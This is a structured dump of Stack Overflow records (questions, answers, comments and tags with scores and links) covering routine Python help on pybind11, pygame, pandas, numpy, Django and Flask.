has body: PyBind is awesome, shout out to the authors/maintainers! You have an almost working example here. Adapted to your problem it would give something like (edited answer after El Dude's comment): #include <iostream> #include <pybind11/pybind11.h> #include <pybind11/numpy.h> namespace py = pybind11; py::array_t<double> add_arrays(py::array_t<double> input1, py::array_t<double> input2) { py::buffer_info buf1 = input1.request(); py::buffer_info buf2 = input2.request(); if (buf1.size != buf2.size) { throw std::runtime_error("Input shapes must match"); } /* allocate the buffer */ py::array_t<double> result = py::array_t<double>(buf1.size); py::buffer_info buf3 = result.request(); double *ptr1 = (double *) buf1.ptr, *ptr2 = (double *) buf2.ptr, *ptr3 = (double *) buf3.ptr; int X = buf1.shape[0]; int Y = buf1.shape[1]; for (size_t idx = 0; idx < X; idx++) { for (size_t idy = 0; idy < Y; idy++) { ptr3[idx*Y + idy] = ptr1[idx*Y+ idy] + ptr2[idx*Y+ idy]; } } // reshape array to match input shape result.resize({X,Y}); return result; } PYBIND11_MODULE(example, m) { m.doc() = "Add two vectors using pybind11"; // optional module docstring m.def("add_arrays", &add_arrays, "Add two NumPy arrays"); } That I built on linux with python2.7 and gcc v5.4 using (I had to use a slightly different command than provided in the doc, because Python.h wasn't found, hence I added the link to python 2.7) c++ -O3 -Wall -shared -std=c++11 -fPIC -I/usr/include/python2.7 -lpython2.7 `python -m pybind11 --includes` example.cpp -o example`python-config --extension-suffix And you'd call it from python with import numpy as np import example # [bad] name I chose for my compiled module a = np.zeros((10,3)) b = np.ones((10,3)) * 3 c = example.add_arrays(a, b) print c Hope it helps. EDIT - I've created a github repository containing a few complete examples based on PyBind11 that should compile on all platforms.
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86410152
accepted answer of: http://stackoverflow.com/q/49582252
has comment: http://stackoverflow.com/comment/86468720

http://stackoverflow.com/comment/86132385
has text: What does `print(sys.argv)` show if you call that before you create the parser?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49561767
type: Comment

http://stackoverflow.com/comment/85910199
comment on: http://stackoverflow.com/q/49453584
type: Comment
has text: can't you run another script which changes back the hardware state like before?
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86358434
type: Comment
has text: yeah I know it's not big deal connecting and disconnecting, I meant if it was done before and after each request. Nevertheless, we are going with your suggested approach, so thanks!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49592585

http://stackoverflow.com/comment/86111499
has text: Updated the question with some sample data. Hope that helps to undaerstand what I'm trying to achieve.
comment on: http://stackoverflow.com/q/49551301
score: 2
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/110127554
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49524039
type: Comment
has text: Python code executed with `ExecuteStreamCommand` will not have access to the NiFi session because it is executing outside of the NiFi context.

http://stackoverflow.com/comment/86011609
type: Comment
type: QuestionComment
score: 0
has text: In the line `tempdf = temp.parse(sheet)`, what is `temp`? Did you mean `tempdf`?
comment on: http://stackoverflow.com/q/49503612

http://stackoverflow.com/comment/86046402
comment on: http://stackoverflow.com/q/49520317
type: Comment
score: 0
has text: It looks like this might be related to https://bugs.python.org/issue28046 but I can't say for sure.
type: QuestionComment

http://stackoverflow.com/q/49493718
tagged with: class
answer count: 2
has body: I am currently developing a short text-based adventure so I can learn how to use Classes within Python. As part of this, I am trying to create a combat system where the player could choose an NPC to attack. The aim is that the player can enter the name of the NPC and the weapon they want to use. A method in the target's class will then be called, to lose health based on the damage of the weapon. My current code is below: class npc: def __init__(self, name, alliance): self.name = name self.alliance = alliance def loseHealth(self, health, dmg): self.dmg = dmg self.health = self.health - dmg def usePotion(self, health, pType): if pType == "great": self.health = min(self.health + 50,self.maxHealth) elif pType == "normal": self.health = min(self.health + 25,self.maxHealth) else: pass def attack(self, target, weaponDmg): if target in npcList: target.loseHealth(self.health, weaponDmg) class human(npc): maxHealth = 100 health = 100 def __init__(self, name, alliance): super().__init__(name, alliance) class orc(npc): maxHealth = 200 health = 200 def __init(self, name, alliance): super().__init__(name, alliance) weaponDmg = {'sword':10,'axe':20} alice = human("alice","good") bob = orc("bob","evil") npcList = [alice, bob] target = input("Enter Target:") weapon = input("Enter weapon:") for x in range(3): alice.attack(target,weaponDmg[weapon]) #using alice temporarily until I have a person class sorted print(target.health)
tagged with: inheritance
has comment: http://stackoverflow.com/comment/85991227
accepted answer: http://stackoverflow.com/a/49496470
type: Question
possible better answer: http://stackoverflow.com/a/49494048
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49494048
tagged with: oop
linked to: http://stackoverflow.com/q/19122345
tagged with: python
has answer: http://stackoverflow.com/a/49496470
has title: How do you take an input and call an instance of a class based on the input?

django-rest-auth
tag name: django-rest-auth
type: Tag
tags question: http://stackoverflow.com/q/49460090

http://stackoverflow.com/comment/85967193
score: 0
has text: *niggle - That would be `daemon`
type: Comment
comment on: http://stackoverflow.com/a/49482090
type: AnswerComment

http://stackoverflow.com/a/49458213
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49453235
type: Answer
has body: It is not clear what kind of output you desire. If you are interested in aesthetically translating bytes to a string representation without encoding: s = str(file_data)[1:] print(s) # '\xb4\xeb7s\x14q[\xc4\xbb\x8e\xd4\xe0\x01\xec+\x8f\xf8c\xff\x00 \xeb\xff' This is the informal string representation of the original byte string (no conversion). Details The official string representation looks like this: s # "'\\xb4\\xeb7s\\x14q[\\xc4\\xbb\\x8e\\xd4\\xe0\\x01\\xec+\\x8f\\xf8c\\xff\\x00 \\xeb\\xff'" String representation handles how a string looks. Double escape characters and double quotes are implicitly interpreted in Python to do the right thing so that the print function outputs a formatted string. String intrepretation handles what a string means. Each block of characters means something different depending on the applied encoding. Here we interpret these blocks of characters (e.g. \\xb4, \\xeb, 7, s) with the UTF-8 encoding. Blocks unrecognized by this encoding are replaced with a default character, �: file_data.decode("utf-8", "replace") # '��7s\x14q[Ļ���\x01�+��c�\x00 ��' Converting from bytes to strings is required for reliably working with strings. In short, there is a difference in string output between how it looks (representation) and what it means (interpretation). Clarify which you prefer and proceed accordingly. Addendum If your question is "how do I concatenate a byte string?", here is one approach: buffer = io.BytesIO() with buffer as f: f.write(b"\r\n") f.write(file_data) f.write(b"\r\n") print(buffer.getvalue()) # b'\r\n\xb4\xeb7s\x14q[\xc4\xbb\x8e\xd4\xe0\x01\xec+\x8f\xf8c\xff\x00 \xeb\xff\r\n' Equivalently: buffer = b"" buffer += b"\r\n" buffer += file_data buffer += b"\r\n" buffer # b'\r\n\xb4\xeb7s\x14q[\xc4\xbb\x8e\xd4\xe0\x01\xec+\x8f\xf8c\xff\x00 \xeb\xff\r\n'
has comment: http://stackoverflow.com/comment/85922628
answers question: http://stackoverflow.com/q/49453235
has comment: http://stackoverflow.com/comment/85921218
score: 0

http://stackoverflow.com/comment/86169298
comment on: http://stackoverflow.com/q/49580329
type: Comment
type: QuestionComment
score: 0
has text: @ChristianDean first, congrats for the python gold. _but_ the approaches mentionned in the "original" question don't work for special classes like `function`

http://stackoverflow.com/a/49592455
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49590866
score: 1
upvote count: 1
has body: I got it working finally after i posted the problem i would be glad to see any hints or ideas to improve how this program works. import pygame WIDTH = 1366 HEIGHT = 768 pygame.init() screen = pygame.display.set_mode((WIDTH, HEIGHT), pygame.NOFRAME) clock = pygame.time.Clock() # Needed to limit the frame rate. pygame.display.set_caption('Katso') # Put the images into a list. gallery1 = [ pygame.image.load('assets/download.png').convert(), pygame.image.load('assets/mickey.jpg').convert(), pygame.image.load('assets/cat.jpg').convert(), pygame.image.load('assets/flavours.jpg').convert(), pygame.image.load('assets/hallway.jpg').convert(), ] gallery2 = [ pygame.image.load('assets/adv.jpg').convert(), pygame.image.load('assets/star.jpg').convert(), pygame.image.load('assets/images.jpeg').convert(), pygame.image.load('assets/tile.png').convert(), ] x = 0 # x coordnate of image y = 0 # y coordinate of image running = True gallery = gallery1 #set the default gallery image_index = 0 image = gallery[image_index] # The current image. while running: for event in pygame.event.get(): if event.type == pygame.QUIT: running = False elif event.type == pygame.KEYDOWN: if event.key == pygame.K_1: gallery = gallery1 elif event.key == pygame.K_2: gallery = gallery2 elif event.key == pygame.K_LEFT: image_index -= 1 # Decrement the index. elif event.key == pygame.K_RIGHT: image_index += 1 # Increment the index. # Keep the index in the valid range. image_index %= len(gallery) # Switch the image. image = gallery[image_index] screen.fill((30, 30, 30)) # Blit the current image. screen.blit(image, (x, y)) pygame.display.update() clock.tick(30) # Limit the frame rate to 30 fps. pygame.quit()
answers question: http://stackoverflow.com/q/49590866
has comment: http://stackoverflow.com/comment/86197806
type: Answer
has comment: http://stackoverflow.com/comment/86197630
has comment: http://stackoverflow.com/comment/86197844
has comment: http://stackoverflow.com/comment/94012918
has comment: http://stackoverflow.com/comment/93993998

http://stackoverflow.com/comment/85918138
comment on: http://stackoverflow.com/q/49457618
score: 5
type: Comment
has text: Use a parser: [H̸̡̪̯ͨ͊̽̅̾̎Ȩ̬̩̾͛ͪ̈́̀́͘ ̶̧̨̱̹̭̯ͧ̾ͬC̷̙̲̝͖ͭ̏ͥͮ͟Oͮ͏̮̪̝͍M̲̖͊̒ͪͩͬ̚̚͜Ȇ̴̟̟͙̞ͩ͌͝S̨̥̫͎̭ͯ̿̔̀ͅ](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags)
type: QuestionComment

http://stackoverflow.com/a/49561158
upvote count: 1
answers question: http://stackoverflow.com/q/49549440
score: 1
type: Answer
has body: A rather blunt but fonctionnal approach would be to create a pipeline that recognizes the type of the yielded item and then store it in the corresponding json file. It would probably look like this: import json import ClassA import ClassB class JsonWriterPipeline(object): def close_spider(self, spider): self.file.close() def process_item(self, item, spider): if type(item) is ClassA: self.file = open('classA.jl', 'w') elif type(item) is ClassB: self.file = open('classB.jl', 'w') else: return item line = json.dumps(dict(item)) + "\n" self.file.write(line) return item Tell me if this worked as I did not try it myself.
downvote count: 0

http://stackoverflow.com/q/49539361
upvote count: 1
has body: I am trying to process the results of a numpy.unique calculation based on an expected set of unique values - the code below demonstrates what I want. Essentially, I want to have values of 0 when an expected unique value is not found. import numpy unqVals = [1,2,3,4,5,6] x = [1,1,1,2,2,2,3,3,4,4,6,6] y = [1,1,2,2,3,3,4,4,5,5,6,6] z = [1,1,2,2,2,3,3,3,3,4,4,5] for cur in [x,y,z]: xx = numpy.unique(cur, return_counts=True) print xx[1] ''' Current Results [3 3 2 2 2] [2 2 2 2 2 2] [2 3 4 2 1] Desired Results - based on the unqVals definition [3 3 2 2 0 2] [2 2 2 2 2 2] [2 3 4 2 1 0] '''
favorite count: 0
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/49539544
tagged with: python
type: Question
tagged with: numpy
has title: Numpy unique with expected unique values
accepted answer: http://stackoverflow.com/a/49539544
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/86044621
comment on: http://stackoverflow.com/q/49515756
type: QuestionComment
score: 0
has text: sorry i didn't test tour code sooner. i got `Type Error` when `nesterNEW.print_lol(man, file=man_file)` is called. the correct argument name is `fh`
type: Comment

http://stackoverflow.com/comment/85932420
type: Comment
type: AnswerComment
has text: Scratch that, one cleanup commit was accidentally deleted in one tearDown of the local branch, which rippled to multiple tests.
score: 0
comment on: http://stackoverflow.com/a/49452162

http://stackoverflow.com/comment/85975111
comment on: http://stackoverflow.com/q/49486107
has text: What is the significance of the asterisks? If they don't have any, please delete them.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86092316
has text: i dont understand how this is broad im afraid, i stated that i want to know how to detect screen updates on a windows machine. In android you can turn on a setting to check screen updates, i wish to know how i can do that on PC.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49498777

http://stackoverflow.com/q/49571018
tagged with: python
tagged with: django-testing
score: 2
upvote count: 3
answer count: 0
downvote count: 1
tagged with: python-unittest
linked to: http://stackoverflow.com/q/4732827
favorite count: 0
tagged with: unit-testing
type: Question
has title: How to run multiple asserts in django unittest?
has body: I am working on testing django application. I have following testcase. from django.test import TestCase class Mytest(TestCase): def test_01(self): self.client.login(username="testuser",password="test@12345") response=self.client.get(reverse('result')) self.assertEqual(response.context['data'],True) self.assertEqual(response.context['id'],'2') Here when the first assert fails it mask the second one. How can i run both asserts even if one of them fails?
duplicate of: http://stackoverflow.com/q/4732827
type: UnansweredQuestion

at-command
tag name: at-command
type: Tag
tags question: http://stackoverflow.com/q/49463252

http://stackoverflow.com/q/49476252
accepted answer: http://stackoverflow.com/a/49476575
has answer: http://stackoverflow.com/a/49476575
tagged with: python
has title: Attr changing url parametr of tag a
type: AnsweredQuestion
answer count: 2
has body: I want to change tag a attribute href with jquery but result was not so good than i expected. Problem in that when i change href attribute with attr: $('#doc-menu &gt; li &gt; a').attr('href', '/?child=False'); $('#doc-menu &gt; li &gt; a + ul &gt; li &gt; a').attr('href', '/?child=True') Url cleaning fully. But before query ?child=True i have another django url. &lt;a href="{% url 'docs:nodes_detail' node.id %}" class="parent"&gt;{{ node.name }}&lt;/a&gt; After this django url should be jquery query. I need url like so 35/?child=True like so But now i have fully cleaned url /?child=True Is there anyway to find solution? Thanks
has answer: http://stackoverflow.com/a/49476632
tagged with: django
tagged with: javascript
tagged with: jquery
type: Question
score: 0
possible better answer: http://stackoverflow.com/a/49476632

http://stackoverflow.com/q/49445513
has title: Is there a better way to read matrices with numpy?
has comment: http://stackoverflow.com/comment/85892787
type: Question
tagged with: numpy
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49448877
score: 0
tagged with: matrix
has comment: http://stackoverflow.com/comment/85893029
answer count: 1
has body: I have text file which contains matrices like this [ 1 2 3 4 5 6 7 8 9 10 11 12 13] [ 14 15 16 17 18 19 20 21 22 23] I need a faster way to read the matrices into numpy. I used reg to split the matrix with spaces, and ']' then separately read into a numpy array, which is a tedious process. I need to store it in numpy like this: [[ 1 2 3 4 5 6 7 8 9 10 11 12 13], [ 14 15 16 17 18 19 20 21 22 23]]

http://stackoverflow.com/comment/86079067
score: 0
comment on: http://stackoverflow.com/q/49502750
type: Comment
type: QuestionComment
has text: Possible duplicate of [pip: dealing with multiple Python versions?](https://stackoverflow.com/questions/2812520/pip-dealing-with-multiple-python-versions)

http://stackoverflow.com/q/49467994
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/49468033
upvote count: 0
linked to: http://stackoverflow.com/q/19986533
downvote count: 2
has title: Accessing a dictionary in the add method from the creator in python
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/19986533
answer count: 1
has comment: http://stackoverflow.com/comment/85938505
has body: I have to implement a class called Marathon. In the creator a have to declare a dictionary with key 'runner' and value 'time'. I declare the dictionary in the creator. Then when I try to use that dictionary in the register method an error appear NameError: name 'my_marathon' is not defined. Can someone tell me how I access to that dictionary from my register method? class Marathon: def __init__(self): """Set up this marathon without any runners.""" my_marathon = {'runner', 'time'} def register(self, runner): """Register the runner. Return nothing.""" my_marathon['runner'] = runner
favorite count: 0
type: Question
tagged with: python-3.x
score: -2

http://stackoverflow.com/q/49539607
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86097536
has comment: http://stackoverflow.com/comment/96913556
tagged with: pathlib
linked to: http://stackoverflow.com/q/51520
has comment: http://stackoverflow.com/comment/96913260
favorite count: 0
type: Question
upvote count: 9
duplicate of: http://stackoverflow.com/q/51520
has title: Getting absolute path without resolving symlinks in python
has comment: http://stackoverflow.com/comment/96913328
has body: There are many examples of resolving the path of a file while following symlinks, and I'd like to get the absolute path to a file without resolving symlinks. I think this is the solutions: ex=Path('example.txt') abs_ex = ex.parent.resolve()/ex Is there something I'm missing in terms of another function or argument to resolve()? There is an answer regarding using os.path.abspath but I'm asking about pathlib in Python 3.6 or better.
has comment: http://stackoverflow.com/comment/86240531
tagged with: python
has comment: http://stackoverflow.com/comment/96813625
has comment: http://stackoverflow.com/comment/86095152
score: 9
tagged with: python-3.x
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/86095185

http://stackoverflow.com/a/49522115
has comment: http://stackoverflow.com/comment/86077857
type: Answer
accepted answer of: http://stackoverflow.com/q/49517830
has comment: http://stackoverflow.com/comment/86050942
answers question: http://stackoverflow.com/q/49517830
has body: It's not identifying address as a float; it's identifying it as an integer, failing on to_numeric, and thus ignoring the downcast. Try this: pd.to_numeric(df['Address'], errors='coerce', downcast='integer') You'll see that what it returns is a column of NaN, with type float64. You're matching all the addresses as integers because the columns all contain integers, and your integer regexp matches them since it's whitespace delimited. If you didn't have that errors='coerce' you may have seen what was going on. Edited: To clarify a bit more, what you need to do is edit your integer regexp so that it matches only if the entire field is an integer with optional leading or trailing whitespace. re.findall(r'(^\s?\d+\s?$)' This will match on '123' or ' 123 ' but not '123 Main Street'.
type: AcceptedAnswer
score: 0
has comment: http://stackoverflow.com/comment/86051143

http://stackoverflow.com/comment/85934281
type: QuestionComment
comment on: http://stackoverflow.com/q/49465670
type: Comment
has text: what does `ssh <hostname> 'which python'` show?
score: 0

ddt
type: Tag
tags question: http://stackoverflow.com/q/49456483
tag name: ddt

http://stackoverflow.com/comment/86053801
type: Comment
type: QuestionComment
has text: try using `.hexdigest()`
comment on: http://stackoverflow.com/q/49523949
score: 1

http://stackoverflow.com/comment/86204893
type: QuestionComment
comment on: http://stackoverflow.com/q/49598780
has text: So what makes you think you need to change anything else?
score: 1
type: Comment

http://stackoverflow.com/q/49496761
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49948870
accepted answer: http://stackoverflow.com/a/49948870
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86000262
tagged with: python
upvote count: 4
has comment: http://stackoverflow.com/comment/85999205
has title: Two Language Flask Site With or Without Blueprints
has comment: http://stackoverflow.com/comment/85998330
has body: I Just Want to run flask web app for two languages I tried this: from flask import Flask, Blueprint, g app = Flask(__name__) bp = Blueprint('frontend', __name__, url_prefix='/&lt;lang_code&gt;') @bp.url_defaults def add_language_code(endpoint, values): values.setdefault('lang_code', g.lang_code) @bp.url_value_preprocessor def pull_lang_code(endpoint, values): g.lang_code = values.pop('lang_code') @bp.route('/') def hello(): return 'Hello ' +'!' @bp.route('/about') def about(): return 'Hello ' + '!' app.register_blueprint(bp, url_defaults={'lang_code': 'en'}) if __name__ == '__main__': app.run() My Goal is to have site for two language for English and For Georgian. I also need to know where to add another Language and how to switch languages in HTML template ?
downvote count: 0
has comment: http://stackoverflow.com/comment/85999601
answer count: 1
score: 4
tagged with: flask

http://stackoverflow.com/q/49483346
answer count: 1
has answer: http://stackoverflow.com/a/49483404
has title: Division by following row
type: Question
tagged with: numpy
tagged with: python
type: AnsweredQuestion
score: 0
has body: I have a dataframe which looks like this Date |index_numer 26/08/17|200 27/08/17|300 28/08/17|400 29/08/17|100 30/08/17|150 01/09/17|160 02/09/17|170 03/09/17|280 I am trying to do a division where the first row divides by the second row. Date |index_numer| Divison by next row 26/08/17|200 | 0.666 27/08/17|300 | 0.75 28/08/17|400 | 4 29/08/17|100 |.. I did this in a for loop and then extracted the division number and merge back the DF. however, I am not sure if it can be done in pandas/numpy. Does anyone have any idea?
tagged with: pandas
accepted answer: http://stackoverflow.com/a/49483404

http://stackoverflow.com/comment/85996368
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49496212
has text: `|` in a character class `[]` matches the character literally. Also, `\s` includes both `\n` and `\t`. Fixing all this leaves you with `[^\s]`, which is the same as using `\S`
score: 1

http://stackoverflow.com/q/49558388
tagged with: image-processing
has comment: http://stackoverflow.com/comment/86125688
has comment: http://stackoverflow.com/comment/86124757
has answer: http://stackoverflow.com/a/49558685
has answer: http://stackoverflow.com/a/49558634
possible better answer: http://stackoverflow.com/a/49558634
has comment: http://stackoverflow.com/comment/86124657
type: Question
tagged with: numpy
downvote count: 0
has comment: http://stackoverflow.com/comment/86124949
upvote count: 1
has comment: http://stackoverflow.com/comment/86124713
has answer: http://stackoverflow.com/a/49559088
accepted answer: http://stackoverflow.com/a/49559088
has body: I am working on changing the lightness of a grayscale image. However, I have problem using numpy array when I tried to add 100 to the each pixel value and set it to 255 when the value goes over 255 import numpy as np import matplotlib.pyplot as plt from scipy import misc for i in range(0, img.shape[0]): for j in range(0, img.shape[1]): im2[i,j] = img[i,j] + 100 if im2[i,j] &gt; 255: im2[i,j] = 255 plt.imshow(im2, cmap = 'gray') plt.show() these are the codes and I got an error message saying if im2[i,j] &gt; 255: ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() Can anyone help me out with it?
favorite count: 0
has title: A truth value error using numpy array
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86124931
has comment: http://stackoverflow.com/comment/86124553
answer count: 3
has comment: http://stackoverflow.com/comment/86124640
score: 1
tagged with: python

http://stackoverflow.com/comment/86231374
score: 0
type: Comment
type: AnswerComment
has text: Dude you are magical, finally I got it working. Thank you soo much
comment on: http://stackoverflow.com/a/49593447

http://stackoverflow.com/comment/85971787
comment on: http://stackoverflow.com/a/49475592
has text: Also I would have the same problem regardless of whether or not Im using pickle
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/85887623
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49442880
type: AnswerComment
has text: stats_df = stats_df.assign(Date2=df[index, "Date2"])

http://stackoverflow.com/q/49462455
has comment: http://stackoverflow.com/comment/85927662
tagged with: python
has body: I have the dataframe df and list members like this: df = pd.DataFrame({'a':[[20,21],[22,19],[30,27]], 'b':[22,13,7]}) members = [[20,21],[18,21],[15,18]] I want to select the subset df1 from df to let value of column 'a' in list members. In the given case, I want to get the output like this: df1 = pd.DataFrame({'a':[[20,21]], 'b':[22]})
type: Question
score: 0
answer count: 2
has title: Select subset from dataframe, which contain elements in a given list
tagged with: pandas
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49462541
has answer: http://stackoverflow.com/a/49462477

http://stackoverflow.com/comment/122642121
has text: BEWARE: this does NOT work with TF2 multi GPU 2.4.1 !!! Any idea please ?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/63089235

http://stackoverflow.com/q/49472306
has title: Order issue of component using sklean.mixture.GaussianMixture
type: AnsweredQuestion
has body: I am using sklearn.mixture.GaussianMixture to do classify a set of 2D data into 3 component, I want use blue for component 1, red for component2 and green for component3. I use a for loop to deal with 8 group of data in different files. However, I cannot get a consistent color for each group. I want to make the order sequence consistent for all the figures. import numpy as np import matplotlib.mlab as mlab import matplotlib.pyplot as plt from sklearn.mixture import GaussianMixture import itertools import matplotlib as mpl file_list_x1=["1.txt","2","3.txt","4.txt","5.txt","6.txt","7.txt","8.txt"] color_iter = itertools.cycle(['blue', 'red', 'green' ]) def perform(filename): X=np.genfromtxt(filename, skip_header=1) gmm = GaussianMixture(n_components=3).fit(X) means=gmm.means_ var=gmm.covariances_ lables = gmm.predict(X) ax1=plt.subplot(111) #ax1.scatter(X[:, 0], X[:, 1], c=labls, s=20,cmap='brg') print filename print "Mean is:" print means print "\n\nvar is:" print var for i, (mean, cov, color) in enumerate(zip(gmm.means_, gmm.covariances_, color_iter)): v, w = np.linalg.eigh(cov) if not np.any(lables == i): continue ax1.scatter(X[lables == i, 0], X[lables == i, 1], 20, color=color) # Plot an ellipse to show the Gaussian component angle = np.arctan2(w[0][1], w[0][0]) angle = 180. * angle / np.pi # convert to degrees v = 2. * np.sqrt(2.) * np.sqrt(v) ell = mpl.patches.Ellipse(mean, v[0]*1.2, v[1]*1.2, 180. + angle, color=color) ell.set_clip_box(ax1.bbox) ell.set_alpha(.2) ax1.add_artist(ell) ax1.set_xlim([0,150]) ax1.set_ylim([0,25]) plt.show() for each in file_list_x1: perform(each) print"\n\n\n\n"
tagged with: python
score: 1
answer count: 1
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/49492611
tagged with: scikit-learn
favorite count: 0
has answer: http://stackoverflow.com/a/49492611
type: Question

http://stackoverflow.com/comment/85963097
comment on: http://stackoverflow.com/a/49480112
type: AnswerComment
has text: Yes, I agree, I like this one. +1
score: 1
type: Comment

http://stackoverflow.com/comment/86005562
comment on: http://stackoverflow.com/a/49500426
score: 0
type: Comment
has text: @Marat yah, then I realized that the stdlib python `json` library can only stream *encode* not decode.. there are some iterative json parser implementations floating around, but I try to stick with stdlib here on S.O.
type: AnswerComment

http://stackoverflow.com/comment/86092094
has text: What is visible on the webpage is the "attach model" button. I have added a screen shot of the webpage in the post. You need to click on the "attach model" on the webpage to upload the part. The element for that is the one highlighted with the span tag. Sorry, i don't know Java script or HTML. So i am not sure if i have correctly answered your question.
score: 0
comment on: http://stackoverflow.com/q/49540459
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85936850
type: Comment
comment on: http://stackoverflow.com/a/49467017
has text: @user8244818: ScrolledText class is derived from the Text class. So you get all the functionality of a tkinter Text widget, which happens to allow multiline text editing. You can make text editors with it. See http://effbot.org/tkinterbook/text.htm
score: 0
type: AnswerComment

http://stackoverflow.com/q/49458219
possible better answer: http://stackoverflow.com/a/49458781
tagged with: pandas
has answer: http://stackoverflow.com/a/51913550
tagged with: sql
upvote count: 5
has answer: http://stackoverflow.com/a/49458781
tagged with: dataframe
has title: Update Where Equivalent in Pandas
has comment: http://stackoverflow.com/comment/85919592
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85919512
answer count: 2
score: 5
has comment: http://stackoverflow.com/comment/85919494
has body: I have a list of columns in a dataframe that shouldn't be empty. I want to remove any rows that are empty in any of these columns. My solution would be to iterate through the required columns and set the column 'excluded' to the error message that the user will be shown before excluding them (I will present these to the user in the form of a report at the end of the process) I'm currently trying something like this: for col in requiredColumns: df[pd.isnull(df[col])]['excluded'] = df[pd.isnull(df[col])]['excluded'].apply(lambda x: str(x) + col + ' empty, excluded') but no luck - the columns aren't updated. The filter by itself (to get only the empty rows) works, the update part doesn't seem to be working. I'm used to SQL: UPDATE df SET e = e &amp; "empty, excluded" WHERE NZ(col, '') = ''
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/85919555
accepted answer: http://stackoverflow.com/a/51913550
type: AnsweredQuestion

http://stackoverflow.com/comment/86088686
type: Comment
type: QuestionComment
score: 0
has text: i tried mp4 or mpeg. I am not sure how i can test if it read the video properly
comment on: http://stackoverflow.com/q/49539950

http://stackoverflow.com/q/49567218
tagged with: django
has body: I want to tell Django not to save my image model field. Here's my view call: def post(request): if request.user.is_authenticated(): form_post = PostForm(request.POST or None, request.FILES or None) if form_post.is_valid(): instance = form_post.save(commit=False) #if something: #don't save instance.image else: form_post = PostForm() context = { 'form_post': form_post, } return render(request, 'post/post.html', context) else: return HttpResponseRedirect("/accounts/signup/") How can I achieve this?
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49567314
has title: Tell Django not to save a model field
tagged with: python
score: 0
answer count: 1

http://stackoverflow.com/q/49587261
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86182407
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/86182349
linked to: http://stackoverflow.com/q/27385633
tagged with: python
has comment: http://stackoverflow.com/comment/86182708
tagged with: delimiter
duplicate of: http://stackoverflow.com/q/27385633
favorite count: 0
has body: I have just read the documentation on delimiters and wonder what does this delimiter @= do? See the documentation: https://docs.python.org/3/reference/lexical_analysis.html#delimiters
type: Question
tagged with: python-3.x
answer count: 0
has title: What does @= mean in python?

http://stackoverflow.com/a/49592534
has body: if you mean that you want to change the extension, just change the filename. If your previous filename is just filename or filename.txt just change it to filename.py
downvote count: 0
answers question: http://stackoverflow.com/q/49592463
upvote count: 1
has comment: http://stackoverflow.com/comment/86194258
score: 1
has comment: http://stackoverflow.com/comment/86194331
type: Answer

http://stackoverflow.com/a/49536576
has comment: http://stackoverflow.com/comment/86079808
has comment: http://stackoverflow.com/comment/86081488
has comment: http://stackoverflow.com/comment/86084165
has comment: http://stackoverflow.com/comment/86083257
has comment: http://stackoverflow.com/comment/86079987
has comment: http://stackoverflow.com/comment/86080551
has comment: http://stackoverflow.com/comment/86083624
has comment: http://stackoverflow.com/comment/86080433
has body: The difference between this function in Python and Matlab is : Matlab : the parameters of the transform matrix mapping (x,y) of the source image to (x',y') in the destination image are the parameters of the transform matrix. Python : the parameters of the transform matrix mapping (x,y) of the source image to (x',y') in the destination image are the parameters of the INVERSE transform matrix. Maybe this could help you. Hope it helps !
answers question: http://stackoverflow.com/q/49536324
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/86080742
downvote count: 0

http://stackoverflow.com/q/49599026
has comment: http://stackoverflow.com/comment/86205584
type: UnansweredQuestion
tagged with: python
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/86206825
answer count: 0
has comment: http://stackoverflow.com/comment/86214280
has comment: http://stackoverflow.com/comment/86206736
downvote count: 0
tagged with: numpy
